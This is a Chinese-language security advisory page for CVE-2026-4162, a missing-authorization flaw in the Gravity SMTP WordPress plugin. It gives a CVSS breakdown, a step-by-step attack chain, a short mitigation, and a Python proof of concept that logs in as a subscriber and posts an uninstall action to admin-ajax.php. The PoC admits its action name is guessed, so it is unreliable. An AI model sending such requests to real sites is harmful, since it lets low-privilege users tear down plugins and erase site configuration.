IPBUF安全漏洞报告
English
CVE-2026-4162 CVSS 7.1 高危

CVE-2026-4162 WordPress Gravity SMTP权限绕过漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-4162
漏洞类型
权限绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Gravity SMTP Plugin for WordPress

相关标签

WordPress权限绕过Gravity SMTPCSRF插件漏洞

漏洞概述

WordPress Gravity SMTP插件在2.1.4及之前版本中存在权限缺失漏洞。由于未正确验证用户权限,拥有订阅者及以上权限的认证攻击者可利用此漏洞卸载或停用插件,并删除插件选项。此外,该漏洞也可通过CSRF向量被利用,导致服务中断。

技术细节

该漏洞的核心原因在于插件在处理关键管理功能(如卸载、停用插件及删除选项)时,未实施充分的权限验证机制(如检查`manage_options`能力)。攻击者仅需拥有低级别的订阅者权限,即可通过构造特定的HTTP请求(如AJAX请求)直接调用插件的后台管理接口。由于缺乏必要的`current_user_can`检查,服务器误认为请求合法,从而执行了破坏性的管理操作。这直接导致了插件完整性(I:H)和可用性(A:L)的受损。

攻击链分析

STEP 1
信息收集
识别目标站点是否安装了WordPress Gravity SMTP插件,且版本号低于或等于2.1.4。
STEP 2
获取低权限账号
攻击者注册或获取一个订阅者级别的账户,或者准备CSRF攻击链接诱导管理员点击。
STEP 3
发送恶意请求
利用订阅者权限,向网站发送包含卸载或停用指令的HTTP请求,绕过权限检查。
STEP 4
达成攻击效果
服务器端执行请求,导致插件被卸载或停用,相关配置数据被删除。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: WordPress Gravity SMTP < 2.1.5 - Missing Authorization (Subscriber to Uninstall) # Description: Exploits the missing authorization check to uninstall the plugin. target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker credentials (Subscriber) username = "subscriber" password = "password" session = requests.Session() # Step 1: Authenticate as a subscriber login_payload = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': 'http://example.com/wp-admin/' } session.post("http://example.com/wp-login.php", data=login_payload) # Step 2: Send exploit payload # The specific action parameter depends on the plugin's actual implementation. # Based on the vuln description, we target the uninstall action. exploit_payload = { 'action': 'gravity_smtp_uninstall_plugin', 'nonce': '' # No nonce required due to vulnerability } response = session.post(target_url, data=exploit_payload) if response.status_code == 200: print("[+] Exploit sent successfully. Plugin should be uninstalled.") else: print("[-] Exploit failed.")

影响范围

Gravity SMTP <= 2.1.4

防御指南

临时缓解措施
在升级插件之前,建议暂时禁用该插件以防止被恶意利用,或者通过服务器规则限制对`/wp-admin/admin-ajax.php`等接口的访问,仅允许受信任的IP地址访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表